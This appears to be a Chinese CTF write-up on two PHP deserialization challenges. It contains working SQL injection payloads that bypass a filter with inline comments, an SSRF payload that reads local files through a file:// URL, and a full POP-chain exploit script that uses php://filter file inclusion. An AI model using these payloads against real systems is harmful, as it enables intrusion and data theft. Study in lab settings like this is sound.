0%

有关反序列化的两道题

题目链接:

[网鼎杯 2018]Fakebook

[MRCTF2020]Ezpop

[网鼎杯 2018]Fakebook

分析

SSRF

<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents (){
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}

代码审计后发现UserInfo类有SSRF漏洞,可以使用file:///var/www/html/flag.php这个payload获取flag绝对路径是后面sql注入泄漏出来的)。但是也会对$this->blog进行过滤,所以不能在join的时候直接通过blog获得flag

sql注入

这里黑名单中有union select,使用内联注释符/**/绕过,即等价的union/**/select可以绕过。

爆列名

?no=-1 unIon/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'--+

users表中各字段的位置对应payload中的1,group_concat(column_name),3,4,所以后面我们的payload应该在第四个位置

QQ_1732072814962

data字段

?no=-1 unIon/**/select 1,group_concat(data),3,4 from users--+

反序列化

得到data字段的内容后,再联系前面的UserInfo类,二者应该是存在序列化与反序列化的关系。

data段的内容是将UserInfo类中的对象序列化后的结果,所以我们可以直接修改data段中的blogfile:///var/www/html/flag.php,然后反序列化后UserInfo类中的$this->blog也就成了file:///var/www/html/flag.php,成功绕过过滤

image-20241120112823166

解题

构造如下payload

?no=-1 unIon/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"jt";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users--+

成功注入,查看源码

image-20241120114623110

点击url

QQ_1732074469634

得到flag

image-20241120114817983

[MRCTF2020]Ezpop

源码:

class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

分析

魔术方法

__wakeup()

该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作。

Show类实例化一个对象赋给$a,将其序列化再反序列化,即可触发。

<?php
class Show
{
public $source;
public function __wakeup(){
echo "__wakeup()";
}
}
$a = new Show();
unserialize(serialize($a));
?>

直接反序列化O:4:"Hwaz":1:{s:2:"jt";N;},也会触发魔术方法__wakeup()

<?php
class Show
{
public $source;
public function __wakeup()
{
echo "__wakeup()";
}
public function __toString()
{
echo "__toString()";
}
}
$a = 'O:4:"Hwaz":1:{s:2:"jt";N;}';
unserialize($a);
?>

__toString()

当类被当作字符串输出或被作为参数等调用时,会自动调用。

__wakeup()里,preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)语句会将$this->source当做字符串,使$this->source成为一个类的对象,即可触发。

<?php
class Show
{
public $source;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker"; #这里$this->source被当成字符串利用了
$this->source = "index.php";
}
}
public function __toString(){
echo "__toString()";
}
}
$a = new Show();
$a->source = new Show(); #
unserialize(serialize($a));
?>

__get()

当访问类中的,不可访问的属性,或者是不存在的属性,会自动触发,__get()必须要有参数。

__toString()中的$this->str->source是突破点。使$this->str成为一个类的对象,只要这个类中不存在source这个属性,即可触发。

<?php 
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __get($key){
echo "__get()";
}
}
$a = new Show();
$a->source = new Show(); #$p->source是一个对象
$a->source->str = new Test(); #不能是$a->str = new Test()
$pp = serialize($a);
unserialize($pp);
?>

​ 要特别注意的一点,虽然有$a = new Show(),但是在$a->source = new Show()后,后面所有的$a需要用$a->source代替。

__invoke()

当尝试以调用函数的方式调用一个对象时,方法会被自动调用。

__get()中,会把function()当作函数调用,而$function = $this->p,所以只需使$this->p成为一个对象,即可触发。

<?php 
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
class Modifier{
protected $var;
public function __invoke(){
echo "__invoke()";
}
}
$a = new Show();
$a->source = new Show(); #$p->source是一个对象
$a->source->str = new Test(); #不能是$a->str = new Test()
$a->source->str->p = new Modifier();
$pp = serialize($a);
unserialize($pp);
?>

解题

​ 触发__invoke()后,便能调用append()函数,进而调用include()函数触发文件包含漏洞,再使参数$this->varphp://filter/read=convert.base64-encode/resource=flag.php传参即可拿到flag

<?php 
class Show{
public $source;
public $str;
public function __toString(){
echo "__toString()";
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __get($key){
echo "__get()";
}
}
class Modifier{
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
#源码中$var是protected属性,要与源码一致
}
$a = new Show();
$a->source = new Show();
$a->source->str = new Test();
$a->source->str->p = new Modifier();
$pp = serialize($a);
echo urlencode(serialize($a));
?>

使用url绕过,再对得到的内容进行base64解码,即可得到flag

参考:

刷题[MRCTF2020]Ezpop

[MRCTF2020]Ezpop